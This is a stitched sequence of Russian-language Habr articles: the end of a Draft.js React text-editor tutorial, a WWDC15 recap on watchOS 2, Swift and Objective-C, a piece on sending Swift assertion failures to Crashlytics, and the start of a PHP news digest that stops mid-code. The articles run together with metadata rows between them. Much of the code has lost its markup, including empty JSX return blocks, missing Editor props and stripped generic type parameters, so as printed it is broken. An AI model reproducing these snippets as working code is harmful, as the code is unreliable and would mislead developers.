const { state, onChange } = useEditorApi();
return (
);
}
export default TextEditor;
```
Мы подключили базовый компонент *Editor* из пакета *Draft.js.* Именно он создаст редактируемое поле и будет управлять содержимым. Связываем его c ранее созданным API редактора.
Создадим компонент панели инструментов:
```
// src/ToolPanel/index.ts
export { default } from './ToolPanel';
```
```
// src/ToolPanel/ToolPanel.tsx
import * as React from 'react';
import { EditorApi } from '../useEditor';
import './ToolPanel.scss';
const ToolPanel:React.FC = ({ className } ) => {
return (
{/\* Здесь будет код для элементов управления \*/}
);
}
export default ToolPanel;
```
5. Создание простых блоков
--------------------------
Мы создали редактор, но пока он ни чем не отличается от простого *textarea*. Добавим возможность создания блоков.
По умолчанию Draft.js содержит настройки основных типов блоков. Полный список можно найти [тут](https://draftjs.org/docs/advanced-topics-custom-block-render-map).
Создадим файл конфигурации *config.ts:*
```
// src/TextEditor/config.ts
export enum BlockType {
/* Заголовки */
h1 = 'header-one',
h2 = 'header-two',
h3 = 'header-three',
h4 = 'header-four',
h5 = 'header-five',
h6 = 'header-six',
/* Цитата */
blockquote = 'blockquote',
/* Блок с кодом */
code = 'code-block',
/* Список */
list = 'unordered-list-item',
/* Нумерованный список */
orderList = 'ordered-list-item',
/* Сноска */
cite = 'cite',
/* Простой текст */
default = 'unstyled',
}
```
Мы описали enum с названиями типов блоков, а также добавили новый блок сноски *cite.* Но пока редактор ничего не знает о том, как обрабатывать новые типы блоков. Для того, чтобы добавить произвольные блоки в Draft.js, необходимо создать [имутабельную карту блоков](https://draftjs.org/docs/advanced-topics-custom-block-render-map#configuring-block-render-map). Воспользуемся методом *Immutable.Map* из пакета *immutable* (он устанавливается вместе с Draft.js). Мы описали название нашего нового блока (*cite*) и указали название тега, с которым он должен выводиться в DOM. Для того, чтобы не описывать стандартные блоки, объединим карту блоков по умолчанию с нашей при помощи метода *DefaultDraftBlockRenderMap.merge:*
```
// src/TextEditor/config.ts
import Immutable from 'immutable';
import { DefaultDraftBlockRenderMap } from 'draft-js';
...
const CUSTOM_BLOCK_RENDER_MAP = Immutable.Map({
[BlockType.cite]: {
element: 'cite', <-- название тега
},
});
export const BLOCK_RENDER_MAP = DefaultDraftBlockRenderMap.merge(CUSTOM_BLOCK_RENDER_MAP);
```
Далее укажем редактору новую конфигурацию блоков:
```
// src/TextEditor/TextEditor.tsx
import { BLOCK_RENDER_MAP } from './config';
...
```
Теперь наш редактор умеет обрабатывать типы блоков. Для создания элементов управления типом блоков, нам необходимо добавить в хук *useEditor* два поля:
* toggleBlockType — функция переключения типа блока;
* currentBlockType — переменная со значением текущего типа блока, с помощью которой можно будет добавить элементу активное состояние.
Draft.js содержит класс RichUtils со вспомогательными методами для редактирования текста. Для реализации *toggleBlockType* воспользуемся методом RichUtils.*toggleBlockType*, чтобы применить определенный тип блока к текущему состоянию редактора:
```
// src/TextEditor/useEditor.tsx
export type EditorApi = {
...
toggleBlockType: (blockType: BlockType) => void;
}
export const useEditor = (html?: string): EditorApi => {
...
const toggleBlockType = React.useCallback((blockType: BlockType) => {
setState((currentState) => RichUtils.toggleBlockType(currentState, blockType))
}, []);
...
}
```
Реализация *currentBlockType* будет выглядеть следующим образом:
```
// src/TextEditor/useEditor.tsx
import { BlockType } from './config';
export type EditorApi = {
...
currentBlockType: BlockType;
}
export const useEditor = (html?: string): EditorApi => {
...
const currentBlockType = React.useMemo(() => {
/* Шаг 1 */
const selection = state.getSelection();
/* Шаг 2 */
const content = state.getCurrentContent();
/* Шаг 3 */
const block = content.getBlockForKey(selection.getStartKey());
/* Шаг 4 */
return block.getType() as BlockType;
}, [state]);
...
}
```
Разберем код подробнее.
**Шаг 1:** получаем карту, в которой хранится [информация](https://draftjs.org/docs/api-reference-selection-state/#internaldocs-banner) о том, где находится каретка пользователя. Напомню что Draft.js работает с имутабельными данными, и чтобы посмотреть что хранится в *selection,* можно воспользоваться методом *toJS .*
**Шаг 2:** получаем карту [контента нашего редактора](https://draftjs.org/docs/api-reference-content-state/#internaldocs-banner).
**Шаг 3:** по ключу находим блок, в котором сейчас находимся. Ключ — это просто уникальный хеш, который сгенерировал Draft.js.
**Шаг 4:** получаем тип найденного блока.
Теперь у нас есть все необходимое, чтобы создать элементы управления типами блоков.
6. Inline-cтили текста
----------------------
Теперь создадим функции применения стилей к выделенному тексту.
Draft.js содержит встроенные типы стилей для inline-cтилей. Воспользуемся ими и добавим свой произвольный тип. Наш стиль будет менять цвет фона и цвет шрифта текста.
Для начала опишем в нашем конфиге enum для inline-cтилей:
```
// src/TextEditor/config.ts
export enum InlineStyle {
BOLD = 'BOLD',
ITALIC = 'ITALIC',
UNDERLINE = 'UNDERLINE',
ACCENT = 'ACCENT' // код нашего произвольного стиля
}
```
Так как у нас появился произвольный стиль, нам нужно описать, какие стили он будет применять. Для этого создадим карту:
```
// src/TextEditor/config.ts
export const CUSTOM_STYLE_MAP = {
[InlineStyle.ACCENT]: {
backgroundColor: '#F7F6F3',
color: '#A41E68',
},
};
```
И теперь нам необходимо подключить карту в *Editor:*
```
// src/TextEditor/TextEditor.tsx
```
Теперь редактор знает, как обрабатывать наши стили. Далее нужно реализовать кнопки управления inline-cтилями:
* *toggleInlineStyle —* функция включения/выключения inline-cтиля;
* hasInlineStyle — функция, которая укажет, применен ли конкретный стиль для выделенного текста.
Для реализации этой задачи мы снова можем воспользоваться *RichUtils:*
```
// src/TextEditor/useEditor.ts
const toggleInlineStyle = React.useCallback((inlineStyle: InlineStyle) => {
setState((currentState) => RichUtils.toggleInlineStyle(currentState, inlineStyle))
}, []);
const hasInlineStyle = React.useCallback((inlineStyle: InlineStyle) => {
/* Получаем иммутабельный Set с ключами стилей */
const currentStyle = state.getCurrentInlineStyle();
/* Проверяем содержится ли там переданный стиль */
return currentStyle.has(inlineStyle);
}, [state]);
```
Теперь мы легко можем добавить кнопки управления inline-cтилями:
```
// src/ToolPanel/ToolPanel.tsx
const INLINE_STYLES_CODES = Object.values(InlineStyle);
const ToolPanel: React.FC = () => {
const { toggleInlineStyle, hasInlineStyle } = useEditorApi();
return (
...
{INLINE\_STYLES\_CODES.map((code) => {
const onMouseDown = (e) => {
e.preventDefault();
toggleInlineStyle(code);
};
return (
{code}
);
})}
);
};
```
7. Создание интерактивных элементов
-----------------------------------
Рассмотрим процесс создания интерактивных элементов на примере вставки ссылок. Для этого мы воспользуемся [Entities](https://draftjs.org/docs/api-reference-entity/#internaldocs-banner). Entity — объект, который хранит мета-данные для определенного фрагмента текста. У него есть три свойства:
* type — название типа Entity
* mutability — тип привязки к тексту (подробнее об этом будет ниже)
* data — мета-данные.
Создадим в конфиге перечисление типов *Entity:*
```
// src/TextEditor/config.ts
export enum EntityType {
link = 'link',
}
```
Далее создадим React-компонент *Link,* именно он будет отображаться на месте ссылок:
```
// src/TextEditor/Link/Link.tsx
import { ContentState } from 'draft-js';
import * as React from 'react';
type LinkProps = {
children: React.ReactNode;
contentState: ContentState;
entityKey: string;
}
const Link: React.FC = ({ contentState, entityKey, children }) => {
/\* Получаем url с помощью уникального ключа Entity \*/
const { url } = contentState.getEntity(entityKey).getData();
return (
[{children}]({url})
);
}
export default Link;
```
Стоит отметить, что при создании каждой *Entity* присваивается уникальный хеш-ключ. С помощью него мы можем получить доступ к сохраненным мета-данным, в данном случае к — *url.* Его мы будем задавать при создании Entity-ссылки.
Для того чтобы Draft.js понимал, к какому фрагменту текста привязана Entity, существует система [Decorators](https://draftjs.org/docs/advanced-topics-decorators/).
Декоратор состоит из трех частей:
* *strategy* — функция поиска фрагмента текста на месте которого нужно отобразить компонент
* *component* — компонент, который нужно отобразить
* props — пропсы которые нужно передать компоненту.
Создадим декоратор для привязки ссылок:
```
// src/TextEditor/Link/index.ts
import Link from "./Link";
import { EntityType } from "../config";
import { ContentBlock, ContentState, DraftDecorator } from "draft-js";
function findLinkEntities(
/* Блок в котором производилось последнее изменение */
contentBlock: ContentBlock,
/* Функция, которая должна быть вызвана с индексами фрагмента текста */
callback: (start: number, end: number) => void,
/* Текущая карта контента */
contentState: ContentState
): void {
/* Для каждого символа в блоке выполняем функцию фильтрации */
contentBlock.findEntityRanges((character) => {
/* Получаем ключ Entity */
const entityKey = character.getEntity();
/* Проверяем что Entity относится к типу Entity-ссылок */
return (
entityKey !== null &&
contentState.getEntity(entityKey).getType() === EntityType.link
);
}, callback);
}
const decorator: DraftDecorator = {
strategy: findLinkEntities,
component: Link,
};
export default decorator;
```
Теперь мы можем подключить созданный декоратор к нашему редактору:
```
// src/TextEditor/useEditor.tsx
import { CompositeDecorator } from 'draft-js';
import LinkDecorator from './Link';
/* Объединям декораторы в один */
const decorator = new CompositeDecorator([LinkDecorator]);
export const useEditor = (): EditorApi => {
const [state, setState] = React.useState(() => EditorState.createEmpty(decorator));
...
}
```
Отлично! Теперь наш редактор умеет обрабатывать ссылки. Теперь научим его редактировать и добавлять их.
Так как в редакторе может быть несколько типов Entity, cоздадим общую функцию для добавления *Entity.* Она будет доступна только внутри хука и не будет доступна в компонентах. Для добавления типа ссылки создадим отдельную функцию addLink, она будет доступна в API редактора:
```
// src/TextEditor/useEditor.tsx
import { EditorState, RichUtils } from 'draft-js';
export const useEditor = (): EditorApi => {
...
const addEntity = React.useCallback((entityType: EntityType, data: Record, mutability: DraftEntityMutability) => {
setState((currentState) => {
/\* Получаем текущий контент \*/
const contentState = currentState.getCurrentContent();
/\* Создаем Entity с данными \*/
const contentStateWithEntity = contentState.createEntity(entityType, mutability, data);
/\* Получаем уникальный ключ Entity \*/
const entityKey = contentStateWithEntity.getLastCreatedEntityKey();
/\* Обьединяем текущее состояние с новым \*/
const newState = EditorState.set(currentState, { currentContent: contentStateWithEntity });
/\* Вставляем ссылку в указанное место \*/
return RichUtils.toggleLink(newState, newState.getSelection(), entityKey);
})
}, []);
const addLink = React.useCallback((url) => {
addEntity(EntityType.link, { url }, 'MUTABLE')
}, [addEntity]);
return {
...
addLink
}
}
```
Стоит отметить, что *Entity* имеет три режима привязки к тексту:
1. *MUTABLE —* текст может быть изменен
2. *IMMUTABLE —* при изменении текста *Entity* будет удален
3. *SEGMENTED —* работает так же как *IMMUTABLE,* с той лишь разницей, что, если текст состоит из нескольких слов, то при удалении символа, удаляется слово, но оставшиеся слова остаются привязанными к *Entity.* (Пример: "Маша мы|ла раму" → [backspace] → "Маша раму")
Мы выбрали *MUTABLE,* так как текст ссылки может быть редактируемым.
Теперь мы легко можем реализовать кнопку добавления ссылки. Чтобы указать адрес ссылки, воспользуемся *prompt*:
```
// src/ToolPanel/ToolPanel.tsx
const ToolPanel: React.FC = () => {
const { addLink } = useEditorApi();
const handlerAddLink = () => {
const url = prompt('URL:');
if (url) {
addLink(url);
}
}
return (
...
Добавить ссылку
...
);
}
```
Ссылки добавляются. Давайте доработаем редактор, чтобы можно было редактировать *url* уже созданной ссылки.
Для упрощения примера сделаем так, чтобы при клике на ссылку в редакторе снова появлялся *prompt* с предзаполненным *url*.
Обработаем клик в компоненте:
```
// src/TextEditor/Link/Link.tsx
import { useEditorApi } from '../context';
const Link: React.FC = ({ contentState, entityKey, children }) => {
const { setEntityData } = useEditorApi();
const { url} = contentState.getEntity(entityKey).getData();
const handlerClick = () => {
const newUrl = prompt('URL:', url);
if (newUrl) {
setEntityData(entityKey, { url: newUrl });
}
}
return (
[{children}]({url})
);
}
```
И создадим функцию, с помощью которой мы сможем перезаписывать данные *Entity:*
```
// src/TextEditor/useEditor.tsx
export const useEditor = (): EditorApi => {
...
const setEntityData = React.useCallback((entityKey, data) => {
setState((currentState) => {
/* Получаем текущий контент */
const content = currentState.getCurrentContent();
/* Объединяем текущие данные Entity с новыми */
const contentStateUpdated = content.mergeEntityData(
entityKey,
data,
)
/* Обновляем состояние редактора с указанием типа изменения */
return EditorState.push(currentState, contentStateUpdated, 'apply-entity');
})
}, []);
export {
...
setEntityData
}
}
```
Стоит отметить, что существует [несколько типов](https://draftjs.org/docs/api-reference-editor-change-type/) изменения состояния редактора. Каждый из них нужен, чтобы Draft.js правильно определял, как изменение влияет на некоторые функции: например, повтор и отмена.
Вот и все. Теперь мы можем легко добавлять и редактировать произвольные *Entity* в нашем редакторе.
8. Обработка сочетаний клавиш
-----------------------------
Во многих текстовых редакторах можно редактировать контент с помощью сочетания клавиш. В Draft.js есть механизм для реализации такого поведения. Сочетание клавиш должно выполнять определенное действие — команду. Создадим функцию обработки этих команд.
```
// src/TextEditor/useEditor.tsx
export const useEditor = (): EditorApi => {
...
const handleKeyCommand = React.useCallback((command: DraftEditorCommand, editorState: EditorState) => {
const newState = RichUtils.handleKeyCommand(editorState, command);
if (newState) {
setState(newState);
return 'handled';
}
return 'not-handled';
}, []);
export {
...
handleKeyCommand
}
}
```
Функция принимает на вход название команды и текущее состояние редактора, и должна вернуть одно из двух значений:
* *handled —* команда применена
* *not-handled* — команда не применена.
Во избежание гонки обновлений состояния всегда нужно стараться работать с последней актуальной версией. Подробнее об этом можно прочитать [тут](https://draftjs.org/docs/advanced-topics-editorstate-race-conditions/).
С помощью *RichUtils.handleKeyCommand* мы добавим обработку стандартных сочетаний клавиш. Например, *ctrl + I* или *cmd + I* для применения ранее созданного стиля *ITALIC.*
Далее необходимо прокинуть нашу функцию в компонент редактора:
```
// src/TextEditor/TextEditor.tsx
```
Отлично, у нас есть обработка стандартных сочетаний клавиш. Но мы пойдем дальше и добавим свою комбинацию для нашего произвольного стиля текста *ACCENT.* Для начала расширим тип стандартных команд, чтобы ts на нас не ругался:
```
// src/TextEditor/config.ts
import { DraftEditorCommand} from 'draft-js';
export type KeyCommand = DraftEditorCommand | 'accent'; // произвольная команда
```
Далее создадим функцию для обработки нажатия клавиш:
```
// src/TextEditor/useEditor.tsx
import { KeyBindingUtil, getDefaultKeyBinding } from 'draft-js';
export const useEditor = (): EditorApi => {
...
const handlerKeyBinding = React.useCallback((e: React.KeyboardEvent) => {
/* Проверяем нажата ли клавиша q + ctrl/cmd */
if (e.keyCode === 81 && KeyBindingUtil.hasCommandModifier(e)) {
return 'accent';
}
return getDefaultKeyBinding(e);
}, []);
return {
...
handlerKeyBinding
}
}
```
Обратите внимание, что мы используем функцию *getDefaultKeyBinding.* Именно она содержит логику по стандартным сочетаниям клавиш. Еще мы воспользовались утилитой *KeyBindingUtil.hasCommandModifier* для того, чтобы определять, когда пользователь зажал командную клавишу: ctrl или cmd. Таким образом, при нажатии клавиш *q + ctrl* или *q + cmd* будет выполнена команда *accent.* Теперь нужно ее обработать в *handleKeyCommand:*
```
// src/TextEditor/useEditor.tsx
const handleKeyCommand = React.useCallback((command: DraftEditorCommand, editorState: EditorState) => {
if (command === 'accent') {
toggleInlineStyle(InlineStyle.ACCENT);
return 'handled';
}
...
}, []);
```
Так мы можем добавлять произвольные сочетания клавиш.
9. Экспорт/ Импорт HTML в редактор
----------------------------------
Неотъемлемой частью текстового редактора является возможность экспорта и импорта данных. В Draft.js есть функция [convertToRaw](https://draftjs.org/docs/api-reference-data-conversion/#converttoraw), которая позволяет выгрузить json с данными о всем контенте.
На основе этих данных можно сформировать HTML. Побродив по просторам сети и npm, я нашел несколько пакетов, которые позволяли подробно указать, как конвертировать контент в HTML и из HTML. Взвесив все за и против, я остановился на пакете [*draft-convert*](https://github.com/HubSpot/draft-convert)*(который мы установили при сетапе проекта),* так как он позволял удобно реализовать желаемые возможности.
Создадим файл *convert.tsx —* в нем мы объявим функции для конвертирования состояния редактора в HTML и обратно.
Создадим функцию конвертирования состояния редактора в HTML. В ней мы опишем правила, по которым хотим конвертировать данные редактора в разметку:
```
// src/TextEditor/convert.tsx
import { CUSTOM_STYLE_MAP, BlockType, EntityType, InlineStyle } from './config';
export const stateToHTML = convertToHTML({
styleToHTML: (style) => {
switch (style) {
case InlineStyle.BOLD:
return ;
...
case InlineStyle.ACCENT:
return ;
default:
return null;
}
},
blockToHTML: (block) => {
switch (block.type) {
case BlockType.h1:
return ;
...
case BlockType.default:
return ;
default:
return null;
}
},
entityToHTML: (entity, originalText) => {
if (entity.type === EntityType.link) {
return (
[{originalText}]({entity.data.url})
);
}
return originalText;
},
});
```
Чтобы воспользоваться нашим конвертером, создадим функцию *toHtml:*
```
// src/TextEditor/useEditor.tsx
export const useEditor = (): EditorApi => {
...
const toHtml = React.useCallback(() => {
return stateToHTML(state.getCurrentContent());
}, [state]);
return {
...
toHtml
}
}
```
И для примера добавим кнопку, которая будет выводить сгенерированный HTML в консоль:
```
Print
```
Отлично, теперь мы можем экспортировать HTML из нашего редактора. Теперь добавим возможность импорта первоначального контента. Опишем правила конвертации HTML в данные редактора:
```
// src/TextEditor/convert.tsx
export const HTMLtoState = convertFromHTML({
htmlToStyle: (nodeName, node, currentStyle) => {
if (nodeName === 'strong') {
return currentStyle.add(InlineStyle.BOLD);
}
...
if (nodeName === 'span' && node.classList.contains('accent')) {
return currentStyle.add(InlineStyle.ACCENT);
}
return currentStyle;
},
htmlToBlock(nodeName, node) {
switch (nodeName) {
case 'h1':
return BlockType.h1;
...
case 'div':
case 'p':
return BlockType.default;
default:
return null;
}
},
htmlToEntity: (nodeName, node, createEntity) => {
if (nodeName === 'a' && node.href) {
return createEntity(EntityType.link, 'MUTABLE', { url: node.href });
}
return undefined;
},
});
```
Теперь подключим конвертер в HTML к редактору. Для этого воспользуемся стандартным методом *EditorState.createWithContent* и доработаем *EditorApi:*
```
// src/TextEditor/useEditor.tsx
...
export const useEditor = (html?: string): EditorApi => {
const [state, setState] = React.useState(() =>
html
? EditorState.createWithContent(HTMLtoState(html), decorator)
: EditorState.createEmpty(decorator)
);
...
}
```
Теперь нам остается только передать HTML и ура! Наш редактор умеет загружаться с предустановленным контентом.
10. Вместо заключения
---------------------
Прогресс не стоит на месте, с каждым днем появляются все более новые и навороченные api и библиотеки. В статье я постарался показать, как в свое время я решал данную задачку. Правда, в моем случае на проекте был подключен Mobx, и все возможности хука useEditor были реализованы в виде класса. Но, так как задача довольно обширная, я решил не перегружать статью и использовать стандартные и всеми известные хуки React.js.
Полный код из статьи можно найти по [этой ссылке](https://github.com/ktsstudio/editor-react).
Если вы тоже решали подобные задачи, поделитесь в комментариях — какими инструментами вы пользовались?
Спасибо за внимание! | https://habr.com/ru/post/576682/ | null | ru | null |
# WWDC15. День второй. Подробности
После поверхностных анонсов первого дня наступает пора полноценных сессий для разработчиков, в которых инженеры Apple рассказывают о новых функциях, фреймворках и технологиях. Второй день практически целиком посвящен анонсированным фичам главных платформ и инструментам разработки.
Материал будет интересен в первую очередь разработчикам под платформы iOS и Mac OS, но, возможно, здесь каждому что-то придется по душе.
#### **watchOS 2**
Приложение **Watch App** и набор кода **WatchKit Extension** теперь живут в одном месте на часах (раньше extension находился на телефоне и создавал этим гору проблем). Причем это не опция, а обязаловка. Такие нативные приложения для часов имеют сплошные плюсы: доступ к железякам (Digital Crown, микрофон, динамик, акселерометр и прочие), автономную работу, отсутствие тормозов и «вечного спиннера», работу в реальном времени. Тем не менее, приложение для часов по-прежнему обязано быть частью полноценного приложения для телефона, отдельно его распространять нельзя.
Связь между телефоном и часами теперь реализована средствами **WatchConnectivity Framework**. По сути это шина, в которую можно отправлять туда-сюда сообщения с текстом или файлами. Помимо такого способа получать информацию, часы могут использовать все функции NSURLSession, то есть самостоятельно залезать в интернет и скачивать данные. Даже в отсутствие телефона это происходит через WiFi.
Добавлены сеттеры для всех настроек (properties) всех интерфейсных элементов часов. Это значит, что теперь можно управлять интерфейсом из кода и менять его «на лету», а не только во время разработки дизайна в interface builder, как было ранее. В WatchKit теперь также добавлены анимации средствами **animateWithDuration**. Можно анимировать все те настройки, которые появились в системе. По сравнению с анимацией image sequenc’ами из watch OS 1 это уже что-то.
Наши приложения могут дублировать события интерфейса с помощью **taptic engine**. Доступен целый набор различных «троганий»: Notification, Start, Stop, DirectionUp, DirectionDown, Click, Failure, Success.
Часы теперь могут **воспроизводить видео**. Прототип Coub для часов, который был анонсирован полгода назад, теперь может стать былью, а не только сказкой.
В watchKit SDK добавлены методы **openSystemURL**. С помощью них сторонние приложения могут совершать звонки, отправлять сообщения и пр., и все это, не покидая интерфейса часов.
**Watch Keychain**, в котором хранятся все те же пароли, что и на телефоне, автоматически разблокируется, когда часы на руке, и блокируется, когда их снимают. Это решает целый ворох проблем, с которыми мы столкнулись при разработке приложения Моего Билайна, можете [посочувствовать](http://habrahabr.ru/company/redmadrobot/blog/256501/).
Новый фреймворк ClockKit сделан для разработки **Complications** — гаджетов на циферблате часов, отображающих любые данные. Интересно, что данные у наших complications запрашиваются не по одиночке, а вектором timeline. Благодаря этому появляется TimeTravel — возможность покрутить колесико и посмотреть, что было 3 часа назад или будет через 10 часов. Довольно классная фича.
#### **Objective C и Swift**
Для анонсированного Swift 2 уже готов мигратор, который нежно и аккуратно скорректирует проекты под новые конструкции. Обещают, что все произойдет автоматически, а такому разработчику компилятора Swift разве можно не доверять:
Игровые площадки **Swift Playgrounds** получили много возможностей, которые позволят создавать обучающие материалы по программированию прямо в них. Это поддержка markdown-разметки в комментариях (с картинками, выделением и версткой), многостраничных проектов, возможность подключения внешних библиотек (которые даже предкомпилируются, чтобы playground не тормозил). Переделаны механизмы обработки ошибок, доработан autocomplete, добавлены API для удобного вызова новых методов так, чтобы это ни в коем случае не сломалось на старых ОС. В общем, язык развивается довольно активно, и тем лучше, что его в ближайшее время выложат в openSource.
Одновременно много всего добавлено в **objectiveC** для того, чтобы он лучше совмещался со свифтом и сам по себе был удобен.
Например, добавлены директивы для совмещения swift optionals с традиционными nil-объектами: nonnull (свойство не сможет стать nil’ом никогда), nullable (сможет), null\_resettable (такое свойство можно установить в nil, но оно никогда его не вернет обратно, а вернет default-значение вместо этого).
Во все коллекции ObjC добавлены **generics**:
```
NSArray \*array
```
Есть даже специальное ключевое слово \_\_kindof для обозначения коллекций, которые могут хранить не только объекты класса, но и его подклассов (особенно удобно для интерфейсных фреймворков):
```
NSArray <__kindof NSView*> *array
```
#### **iOS 9 и Xcode**
В iOS добавили те вещи, которых многие ждали (или не очень ждали):
* Возможность менять радиус размытия и делать эффекты как при открытии Spotlight
* Рендеринг blur и vibrancy в storyboard в реальном времени
* Разделение интерфейса приложения на несколько storyboard с линковкой и переходами между ними
* Запись UI-тестов прямо в Xcode в интерактивном режиме, подсчет code coverage для тестов XCTest
* Получение крашлогов в Xcode прямо из iTunesConnect и возможность загрузить их в эмулятор в debug-режиме (!)
* Возможность вводить текст в push-нотификации (как сделано в SMS) наших приложений, и это также будет работать на часах
Многие анонсы на конференции пока были раскрыты не до конца, но мы будем держать вас в курсе. Stay tuned!
Смотрите также обзорный отчет с первого дня конференции: [WWDC15. День первый. Keynote](http://habrahabr.ru/company/redmadrobot/blog/259951/)
 | https://habr.com/ru/post/259975/ | null | ru | null |
# Swift.assert — жизнь после релиза
Как часто вы используете `Swift.assert()` в вашем коде? Я, честно, использую довольно часто (Если это плохая практика, то, пожалуйста, напишите в комментариях — почему это плохо?). В моем коде часто можно встретить, например, такой вызов:
```
Swift.assert(Thread.isMainThread)
```
Не так давно я решил, что неплохо бы продолжить наблюдать результаты от этих вызовов не только в рамках запуска приложения в симуляторе / на девайсе, но и от действий реальных пользователей. Кстати, здесь речь может идти и про `Swift.precondition()`, `Swift.fatalError()` и т.п, хотя их я стараюсь избегать. Более подробно про *Unrecoverable Errors in Swift* я читал [в этой публикации](https://habr.com/ru/post/440884/) и она оказалось очень даже познавательной.
Ближе к делу: в коде у меня нашлось около 300 подобных вызовов. Ни один из них не срабатывал при обычном локальном тестировании, и это меня радовало. Но я предположил, что действия пользователя могут все-таки привести к срабатыванию некоторых из вызовов.
С точки зрения пользователя вылетов происходить не должно (опять же мое мнение). В крайнем случае пользователь должен понять, что какой-то сценарий пошел не по плану и команда разработчиков уже работает над починкой. Подобные исключения всегда обрабатывались мной и для пользователя это могло сказаться в самой безобидной форме. Например, одна из сотен ячеек таблицы просто была невидима.
С пользователем более-менее все ясно. Осталось разобраться с доставкой логов до разработчика. Во-первых, требовалось минимальными усилиями заменить в коде текущие вызовы на вызовы, отправляющие логи куда-то за пределы приложения. Во-вторых, требовалось точно локализовать место происшествия, иначе соотнести исключение с реальным кодом было бы практически невозможно. В-третьих, следовало учесть, что видоизмененные вызовы могут сработать при Unit-тестировании, где `Thread.isMainThread` уже должен игнорироваться т.к. я использую **RxTest** фреймворк для определенных видов тестрирования (здесь я тоже готов выслушать советы и критику). Главным пунктом осталось то, что локально все исключения должны срабатывать как и раньше, т.е. `Loggin.assert()` должен срабатывать тогда же, когда бы срабатывал `Swift.assert()`
Отличный способ отправки событий предоставляет **Fabric** (**Crashlytics**). Выглядит это следующим образом:
```
Crashlytics.sharedInstance().recordCustomExceptionName("", reason: ""...
```
Осталось упаковать **Crashlytics** в какой-нибудь фреймворк, который можно подгружать в полноценном виде в приложение и в урезанном виде (без зависимости **Crashlytics**) в тестовые таргеты.
«Упаковку» я решил сделать через [CocoaPods](https://cocoapods.org):
```
Pod::Spec.new do |s|
s.name = 'Logging'
...
s.subspec 'Base' do |ss|
ss.source_files = 'Source/Logging+Base.swift'
ss.dependency 'Crashlytics'
end
s.subspec 'Test' do |ss|
ss.source_files = 'Source/Logging+Test.swift'
end
end
```
Код для «боевого таргета» выглядит следующим образом:
```
import Crashlytics
public enum Logging {
public static func send(_ reason: String? = nil, __file: String = #file, __line: Int = #line) {
let file = __file.components(separatedBy: "/").last ?? __file
let line = "\(__line)"
let name = [line, file].joined(separator: "_")
Crashlytics.sharedInstance().recordCustomExceptionName(name, reason: reason ?? "no reason", frameArray: [])
}
public static func assert(_ assertion: @escaping @autoclosure () -> Bool, reason: String? = nil, __file: String = #file, __line: Int = #line) {
if assertion() == false {
self.assertionFailure(reason, __file: __file, __line: __line)
}
}
public static func assert(_ assertion: @escaping () -> Bool, reason: String? = nil, __file: String = #file, __line: Int = #line) {
if assertion() == false {
self.assertionFailure(reason, __file: __file, __line: __line)
}
}
public static func assertionFailure(_ reason: String? = nil, __file: String = #file, __line: Int = #line) {
Swift.assertionFailure(reason ?? "")
self.send(reason, __file: __file, __line: __line)
}
}
```
Для «тестового таргета» т.е. без зависимости **Crashlytics**:
```
import Foundation
public enum Logging {
public static func send(_ reason: String? = nil, __file: String = #file, __line: Int = #line) {
//
}
public static func assert(_ assertion: @escaping @autoclosure () -> Bool, reason: String? = nil, __file: String = #file, __line: Int = #line) {
//
}
public static func assert(_ assertion: @escaping () -> Bool, reason: String? = nil, __file: String = #file, __line: Int = #line) {
//
}
public static func assertionFailure(_ reason: String? = nil, __file: String = #file, __line: Int = #line) {
//
}
}
```
Результаты:
-----------
Исключения действительно начали срабатывать. Большая часть уведомляла о некорректном формате получаемых данных: `Decodable` иногда получал данные с несоответствующим типом. Иногда срабатывали логи для `Thread.isMainThread`, которые очень оперативно исправлялись в следующих релизах. Самыми интересными ошибками стали чудом выловленные **NSException**.
Спасибо за внимание.
**P.S.** Если вдруг вы будете слишком часто слать подобные логи в **Crashlytics**, то сервис может распознать ваши действия как спам. И вы увидите следующее сообщение:
> Due to improper usage, non-fatal reporting has been disabled for multiple builds. Learn how to re-enable reporting in our documentation.
Поэтому, стоит заранее продумать частоту отправки логов. Иначе все логи сборки могут оказаться под угрозой игнорирования сервисом **Crashlytics** | https://habr.com/ru/post/476792/ | null | ru | null |
# PHP-Дайджест № 174 (10 – 24 февраля 2020)
[](https://habr.com/ru/post/489662/)
Свежая подборка со ссылками на новости и материалы. В выпуске: 5 новых RFC из PHP Internals, а также предложение по развитию языка и пара прототипов новых фич в виде пул-реквестов, порция полезных инструментов, видео, подкасты и многое другое.
Приятного чтения!
### Новости и релизы
* [PHP 7.4.3](https://www.php.net/ChangeLog-7.php#7.4.3) — На этот раз всё-таки исправили ошибки с использованием `opcache.preload_user` и теперь предзагрузку можно включать в продакшене.
* [PHP 7.3.15](https://www.php.net/ChangeLog-7.php#7.3.15)
* [PHP 7.2.28](https://www.php.net/ChangeLog-7.php#7.2.28)
* Ближайшие мероприятия:
• Санкт-Петербург, ~~28 февраля~~ пока [перенесен на 13 марта](https://habr.com/ru/post/489662/#comment_21319070): SymCode-митап, TBA
• Ростов-на-Дону, 29 февраля: [3-й PHP-митап городского чата](https://t.me/rndphp/2575)
• Ярославль, 12 марта: [BeerPHP](https://t.me/beerphp_yaroslavl)
• Нижний Новгород, 14 марта: [3-й PHP-митап городского чата](https://t.me/php_nn/3465)
• Екатеринбург, 26 марта: [3-й PHP-митап](https://scienceman.timepad.ru/event/1263936/)
• Казань, 28 марта: [2-й PHP-митап](https://php-not-dead.timepad.ru/event/1253335/)
• [skyeng/php-communities](https://github.com/skyeng/php-communities) — Открытый список PHP-событий, спикеров и организаторов.
• [PHP fwdays'20, Киев, 30 мая](https://fwdays.com/en/event/php-fwdays-2020) — В этом году среди докладчиков тот самый Никита Попов! Для читателей дайджеста есть промокод со скидкой 15%: **PHPDIGEST2020**.
### PHP Internals
* [Language evolution](https://github.com/nikic/php-rfcs/blob/language-evolution/rfcs/0000-language-evolution.md) — Предложение Никиты о том, как продолжать двигать PHP вперед, не ломая легаси код. Подробнее в [канале дайджеста](https://t.me/phpdigest/120), и обсуждение в [пул-реквесте](https://github.com/php/php-rfcs/pull/2).
* Приняты: [[RFC] Variable Syntax Tweaks](https://wiki.php.net/rfc/variable_syntax_tweaks), [[RFC] Static return type](https://wiki.php.net/rfc/static_return_type), [[RFC] Allow ::class on objects](https://wiki.php.net/rfc/class_name_literal_on_object)
* [[RFC] Write-Once Properties](https://wiki.php.net/rfc/write_once_properties) — Предлагается добавить новый модификатор для свойств, который позволит инициализировать свойства, но запретить их изменение. Открытым остаётся вопрос названия модификатора, из вариантов: `final`, `immutable`, `readonly`, `writeonce`, `locked`, `sealed`. **Скрытый текст**
```
class Foo
{
public int $a = 1;
public string $b;
